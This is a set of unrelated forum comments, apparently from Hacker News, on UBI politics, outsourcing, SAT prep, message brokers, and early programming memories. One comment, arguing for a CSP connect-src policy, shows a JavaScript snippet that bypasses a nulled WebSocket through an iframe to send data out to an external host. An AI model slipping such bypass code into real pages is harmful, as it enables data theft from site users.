> What happened?
> Now it appears by most proposals to be yet another means-tested add-on.

"Universal" means not means-tested. That hasn't changed.

What happened is that those who promoted UBI in order to achieve their objective of dismantling the social safety net and reducing overall taxation and government expenditure lost interest in it for many reasons.

First, and most important, the UBI supporting right largely returned to the standard economic platform of the right, since the political changes in 2016 resulted in many of their goals being achieved, including the attacks on Obamacare and food stamp programs, and the massive tax cuts for the very wealthy.

Second, they couldn't really explain UBI to others in the mainstream right. Simply cutting the safety net to punish "lazy" people who leech off the system is, and has always been, an easier line to sell politically vs "we consolidate all the existing safety net expenditures, cut them by x% by dismantling the bureaucracy, and distribute the cash as UBI, for a net reduction in total expenditure". UBI is economics nerd stuff on the right, a clever scheme and experiment whose costs would be ultimately paid by others who were less fortunate - in the form of reduced overall benefits.

Those who were left supporting UBI (no pun intended) were those who see it as one tool among many needed to reduce inequality, not as a way to further reduce government assistance to struggling people. They believe the cost should be payed by greater taxation on the wealthy, and their support is rooted in their beliefs about what a more just society would look like. Their perspective was further bolstered by Andrew Yang's advocacy, and the measures being taken now due to covid19. Therefore their perspectives on UBI have become the dominantly heard perspectives on UBI.
Can be outsourced. Not will or should be outsourced.

If outsourcing were only an issue of money, then every all-remote company would exclusively hire in places like the Phillippines, where there seem to be an abundance of extremely low-cost, English-proficient workers.

Money isn't the only issue, of course. Language skills, culture, educational background, security clearance, tax laws, infosec, time zones, law enforcement, etc. are all also factors.

From the article:

A specific open question is whether supporting 32-bit hardware and environments (including for example x32) is an important goal. While some communities, especially in the embedded space, currently rely on this, it comes at a significant cost and without significant advantage to other communities. We would like to attempt to address the needs of these communities within a 64-bit model to simplify things long-term, but this may prove impossible.

This is not just microcontrollers (hardly niche, but obviously different performance envelope), but also plenty of 32-bit Linux single-board computers (e.g. BeagleBoneBlack). Not to mention the earlier mention of endianess other than little.

> I think SAT/ACT are bad indicators for the "elite" schools because they just saturate

this is a feature. Elite schools don't want to be able to tell the 0.5% from the 5%, because then they wouldn't be able to select for rich and solidly but not amazingly competent kids. They'll take the 0.01% olympiad medalists to fill their genius quota, then fill the rest of their cohort with solid, hardworking, well-connected kids who'll boost the prestige (and donations) of their institution more than the scrappy smart kid who aced every standardized exam with no support to speak of but probably won't (want to) learn the lingo and do the hustle to make it into McKinsey's.

> Leave it to capitalism to inflate UBI out of usefulness. Let the market compete with the baseline, never replace it.

Okay sure, but that's probably what would happen. So what do you do when the government tries to sell food and not enough people buy theirs for them to stay in the black? They'd have to raise prices to cover fixed costs and then have even fewer customers. Presumably once the price was so high they had literally zero customers then you could shut it down?

> Well, supply and demand should work here, right? Isn't the market the mythical machine of just prices? If the market won't pay taxes + $8,000 for private school, there will be no schools for that price. If it does, it is worth it and you'll pay.

The problem isn't that private schools aren't worth $8000, it's that they aren't worth $8000 more than public schools. Which leads people to send their kids to public school and waste money (public schools cost $10,000 instead of $8000) in order to get something worse (people don't value private schools at $8000 more than public schools but do value them at $2000 more).

> "Losing everything" now would mean just going back to surfing the web and eating government cheese in some cramped apartment. Not homelessness, starvation, abuse and neglect.

The UBI does that without the government providing anything but the money. If you have money you can buy food, housing and internet in the market from anyone you like.

How does all this assemble into a 60k binary?!

Durability. If you need to push messages that don't get lost, RabbitMQ is a pretty solid choice. In years past the clustering situation wasn't great and there was some potential for message lost and that seems to be resolved now with quorum queues, but the biggest different between NATS and RMQ is the durability guarantees and the at-least-once delivery guarantees that RMQ has. NATS is more like ZeroMQ in that it expects the subscribers to be online. There has been some work by others using that NATS protocol to create a Kafka-like system (written in Go, I believe) called LiftBridge. So if you like NATS and it's working for you and you want durability, take a look at LiftBridge.

My first attempt at coding was with a Java Programming For Dummies book around the Java 1.1 era, using applets. That was a terrible choice for 12 year old non-native english speaking me, and I never got too far.

Somehow I ended up trying QBASIC a couple of years later and programming suddenly became a lot easier and fun. I especially loved that you could easily switch to graphics mode and just start drawing pixels and lines to the screen, it was like the perfect blank canvas to try out different ideas for a curious young mind.

Evolution by this rather simplistic understanding also would drive (and does drive) people to usurp maximum resources for themselves and their progeny - so, to do everything from hoarding to nepotism, self-dealing and corruption - basically, the definition of selfishness.

Usually, when pretending that child-rearing is not selfish (and IMO it's more selfish than paragliding or eating cake), people refer to making sacrifices towards the child; but that is satisfied by adoption.
I am not sure why you are being downvoted (I upvoted you), but your statement is largely correct.

1. 50 points per section (M/V) just for being familiar with the test is common for folks in the middle range of scores — say 400-600 per section. The improvements are less at the extremes.

2. Very basic test taking strategies are worth another 20-30 per section for pretty much everyone.

3. Actually study/review of targeted vocab and math will typically yield another 20-100+.

4. I don’t have as much data on this, but I personally think practicing sitting down on a Saturday morning and taking a high stakes test for x-hours in a sterile environment also increases the score 10 points or so. It reduces anxiety at a minimum.

I’ve seen scores go from 10xx-14xx with a 200+ point improvement in both skills over the course is about two months.
Maintaining a C layer is standard practice for many libraries because that enables their use from a variety of programming languages. Consequently, the tooling around that is quite mature.
Reminds me of the people who think if you have C# experience you can't handle other programming languages. Amazing how having a skill can be seen as a negative! Yes on average people who can do X can't do Y might apply, but in this situation and the interview one too, you are talking about a specific person not an average.

The window was just one example (obviously not the most optimal method), there are many other ways you could get around it.

My point is `WebSocket = null` won't stop someone who is already dedicated enough to inject a script onto your site to steal people's webpack hot reload error messages. Really a CSP with `connect-src` is the only way to fully prevent this.

WebSocket = null

document.body.append(el);

let ws = new el.contentWindow.WebSocket("wss://echo.websocket.org")
ws.onopen = () => ws.send("my exfiltrated data")

I was actually curious about all of them as I've been both buy and sell side. But I'd like to dig further on the buy side.

I've seen what happens with the consciously accepting route--not pretty. Furthers distrust of a channel many already have inherent concerns and varying degrees of understanding, which is a dangerous combo.

UBS handles chunky Pivotal Systems trade
When I was a kid my brother and a friend and I would spend hours punching games into a C64 out of the back of byte or compute magazine. We would work in shifts, one typing, one reading, and one proofreading to make sure what was said is what showed up on the screen. Usually by the time we were done it would be 4 a.m., so we would play the game for a little bit and then carefully tuck the C 64 in the corner so nobody would trip on the power cord. We didn’t have the floppy or tape drive, so the game only would live for as long as the power was on.

Good times. The best was when there was a typo or a bug or it just didn’t work. Esp. the machine code that was just pages of hex.
Mobile uploading is often broken or inconvenient. Phone to sync service (such as dropbox or icloud) to desktop with a full functioning browser to upload. This doesn’t seem like an edge case to me.

I develop apps for both iOS and Android. There's pros and cons to both. I prefer developing for iOS as there's more money in it plus I enjoy the platform more but if people want more customization, Android is definitely better.
Compensation can be structured with both fixed and variable components.

The fixed portion covers basic needs: Shelter, food, transportation, healthcare, etc...

The variable portion is typically performance based. Usually RSUs or stock. Could also be a cash bonus.

Moving to OK will reduce basic needs and fixed comp, but variable comp could remain unchanged.

More employees living in OK could mean more profit, hence more cash bonus.

Any port that is not advertised to you isn’t okay to probe.
+1 for everything that's been said. Another thing to consider is message throughput, if that's a concern. In the case of multiple channels per single connection, note that a connection is a single TCP connection such that multiple channels contend for the TCP stream. At the same time, connections aren't completely free either.

The general takeaway from this should be: if you've got a particular stream of messages (either a producer or a consumer) that pushes many thousands or even tens of thousands of messages per second, use a separate TCP connection. For anything else that is slower (dozens of messages per second), multiple channels on the same connection work great.

One last consideration is that when a given channel misbehaves or you perform an operation that the broker doesn't like, the only recovery that I've seen is to shut down the entire connection which can affect others channels on the same connection.

> It doesn't need to be perfect just better than the bad spelling/grammar solution built into Firefox

I'm still puzzled by the bad spelling tool. At first I wondered why they didn't just grab the spelling tool from some other open source project, such as Libre Office. But then someone told me that they do use the same spelling tool that Libre Office uses: Hunspell. Hunspell is also used by Chrome and it is the built-in spelling tool on MacOS.

So then the reason it sucks on Firefox must be the dictionaries? But every correctly spelled word that Firefox tells me is misspelled that I've tried in Libre Office passes...so the question then is why Firefox doesn't use whatever dictionary Libre Office uses?
